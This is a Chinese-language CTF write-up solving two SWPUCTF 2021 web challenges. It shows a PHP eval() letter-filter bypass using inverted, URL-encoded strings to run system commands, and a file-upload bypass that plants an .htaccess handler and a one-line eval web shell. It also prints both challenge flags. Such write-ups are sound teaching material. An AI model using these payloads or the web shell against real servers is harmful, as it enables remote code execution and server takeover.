[SWPUCTF 2021 新生赛]hardrce

1、题目

2、知识点

rce：远程代码执行、url取反编码

3、解题思路

打开题目

出现一段代码，审计源代码

题目需要我们通过get方式输入变量wllm的值

但是变量的值被过滤了，不能输入字母和\t、\n等值

所以我们需要绕过这些过滤

源代码有eval函数，说明存在rce（远程代码执行漏洞），我们可以构造系统执行命令获取服务器的数据

eval（）

通过查看wp，我们可以对输入的内容，先取反，再进行url编码，然后再进行取反传给服务器端

这里为什么要进行取反呢？

因为取反后再编码的数据不会被识别为字母，且没有那些被过滤的字符

~ 就是取反符号

例如

我们可以先构造phpinfo()尝试是否可以实现

执行php代码我是在网上找了一个在线工具，url如下

PHP 在线工具 | 菜鸟工具 (jyshare.com)

编码

<?php
echo urlencode(~'phpinfo');
?>

将编码后的值再取反传给wllm

http://node5.anna.nssctf.cn:26911/?wllm=(~%8F%97%8F%96%91%99%90)();

结果正常执行，说明这种方式可以绕过。

接下来因为有eval函数，我们可以构造系统执行命令进行执行

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

php执行系统命令，需要使用好system这个函数

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

可以看到有flllllaaaaaaggggggg这个文件

使用cat命令

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag NSSCTF{99f12d58-f315-4e8d-a69d-ba2572aaf510}

---

[SWPUCTF 2021 新生赛]easyupload3.0

1、题目

2、知识点

文件上传绕过，.htaccess文件的利用

3、解题思路

打开题目，是一道文件上传的题目，我们先上传一个文件，并抓包看看

是一个apache服务

尝试改后缀，发现绕过不了

这里使用了apache服务，可以采用.htaccess文件进行绕过

我们可以上传一个.htaccess文件，内容如下

<FilesMatch "abc.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段代码的作用是将abc.jpg文件当成php文件执行，abc.jpg是我们自己构造上传的，可以根据自己需要命令

将.htaccess文件上传后我们就上传abc.jpg文件，内容为一句话木马

<?php

@eval($_POST['cmd']);

?>

上传完成功后使用蚁剑进行连接

连接成功后可以看到服务器的文件，在html文件夹下可以看到flag.php文件，打开得到flag

NSSCTF{bf0e1c22-b359-4868-94bb-ccc79a7501bf}

---

这篇文章就先写到这里了，哪里不足的欢迎批评指正